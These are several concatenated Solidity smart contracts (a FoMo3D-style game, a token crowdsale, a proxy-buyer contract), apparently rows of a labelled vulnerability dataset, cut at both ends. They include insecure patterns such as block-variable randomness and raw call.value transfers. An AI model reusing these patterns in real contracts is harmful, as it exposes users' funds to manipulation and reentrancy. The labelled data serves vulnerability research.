if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 5;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 8;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 983 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() public payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
require(_owner != 0);
newOwner = _owner;
}
function confirmOwner() public {
require(newOwner == msg.sender);
owner = newOwner;
delete newOwner;
}
}
contract Blocked {
uint public blockedUntil;
modifier unblocked {
require(now > blockedUntil);
_;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PayloadSize {
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
}
contract BasicToken is ERC20Basic, Blocked, PayloadSize {
using SafeMath for uint256;
mapping (address => uint256) balances;
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) unblocked public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) unblocked public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) unblocked public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) onlyPayloadSize(2 * 32) unblocked constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) unblocked public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract PreNTFToken is BurnableToken, Owned {
string public constant name = "PreNTF Token";
string public constant symbol = "PreNTF";
uint32 public constant decimals = 18;
function PreNTFToken(uint256 initialSupply, uint unblockTime) public {
totalSupply = initialSupply;
balances[owner] = initialSupply;
blockedUntil = unblockTime;
}
function manualTransfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) onlyOwner public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
}
contract Crowdsale is Owned, PayloadSize {
using SafeMath for uint256;
struct AmountData {
bool exists;
uint256 value;
}
uint public constant preICOstartTime = 1512597600;
uint public constant preICOendTime = 1517436000;
uint public constant blockUntil = 1525122000;
uint256 public constant maxTokenAmount = 3375000 * 10**18;
uint256 public constant bountyTokenAmount = 375000 * 10**18;
uint256 public givenBountyTokens = 0;
PreNTFToken public token;
uint256 public leftTokens = 0;
uint256 public totalAmount = 0;
uint public transactionCounter = 0;
uint256 public constant tokenPrice = 3 * 10**15;
uint256 public minAmountForDeal = 9 ether;
mapping (uint => AmountData) public amountsByCurrency;
mapping (address => uint256) public bountyTokensToAddress;
modifier canBuy() {
require(!isFinished());
require(now >= preICOstartTime);
_;
}
modifier minPayment() {
require(msg.value >= minAmountForDeal);
_;
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
function Crowdsale() public {
token = new PreNTFToken(maxTokenAmount, blockUntil);
leftTokens = maxTokenAmount - bountyTokenAmount;
AmountData storage btcAmountData = amountsByCurrency[0];
btcAmountData.exists = true;
AmountData storage bccAmountData = amountsByCurrency[1];
bccAmountData.exists = true;
AmountData storage ltcAmountData = amountsByCurrency[2];
ltcAmountData.exists = true;
AmountData storage dashAmountData = amountsByCurrency[3];
dashAmountData.exists = true;
}
function isFinished() public constant returns (bool) {
return now > preICOendTime || leftTokens == 0;
}
function() external canBuy minPayment payable {
uint256 amount = msg.value;
uint256 givenTokens = amount.mul(1 ether).div(tokenPrice);
uint256 providedTokens = transferTokensTo(msg.sender, givenTokens);
transactionCounter = transactionCounter + 1;
if (givenTokens > providedTokens) {
uint256 needAmount = providedTokens.mul(tokenPrice).div(1 ether);
require(amount > needAmount);
require(msg.sender.call.gas(3000000).value(amount - needAmount)());
amount = needAmount;
}
totalAmount = totalAmount.add(amount);
}
function manualTransferTokensTo(address to, uint256 givenTokens, uint currency, uint256 amount) external canBuy onlyOwner returns (uint256) {
AmountData memory tempAmountData = amountsByCurrency[currency];
require(tempAmountData.exists);
AmountData storage amountData = amountsByCurrency[currency];
amountData.value = amountData.value.add(amount);
uint256 value = transferTokensTo(to, givenTokens);
transactionCounter = transactionCounter + 1;
return value;
}
function addCurrency(uint currency) external onlyOwner {
AmountData storage amountData = amountsByCurrency[currency];
amountData.exists = true;
}
function transferTokensTo(address to, uint256 givenTokens) private returns (uint256) {
var providedTokens = givenTokens;
if (givenTokens > leftTokens) {
providedTokens = leftTokens;
}
leftTokens = leftTokens.sub(providedTokens);
require(token.manualTransfer(to, providedTokens));
return providedTokens;
}
function finishCrowdsale() external {
require(isFinished());
if (leftTokens > 0) {
token.burn(leftTokens);
leftTokens = 0;
}
}
function takeBountyTokens() external returns (bool){
require(isFinished());
uint256 allowance = bountyTokensToAddress[msg.sender];
require(allowance > 0);
bountyTokensToAddress[msg.sender] = 0;
require(token.manualTransfer(msg.sender, allowance));
return true;
}
function giveTokensTo(address holder, uint256 amount) external onlyPayloadSize(2 * 32) onlyOwner returns (bool) {
require(bountyTokenAmount >= givenBountyTokens.add(amount));
bountyTokensToAddress[holder] = bountyTokensToAddress[holder].add(amount);
givenBountyTokens = givenBountyTokens.add(amount);
return true;
}
function getAmountByCurrency(uint index) external returns (uint256) {
AmountData memory tempAmountData = amountsByCurrency[index];
return tempAmountData.value;
}
function withdraw() external onlyOwner {
require(msg.sender.call.gas(3000000).value(this.balance)());
}
function setAmountForDeal(uint256 value) external onlyOwner {
minAmountForDeal = value;
}
function withdrawAmount(uint256 amount) external onlyOwner {
uint256 givenAmount = amount;
if (this.balance < amount) {
givenAmount = this.balance;
}
require(msg.sender.call.gas(3000000).value(givenAmount)());
}
} | 1 | 3,163 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaised;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
bool public forcedRefund;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investor, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
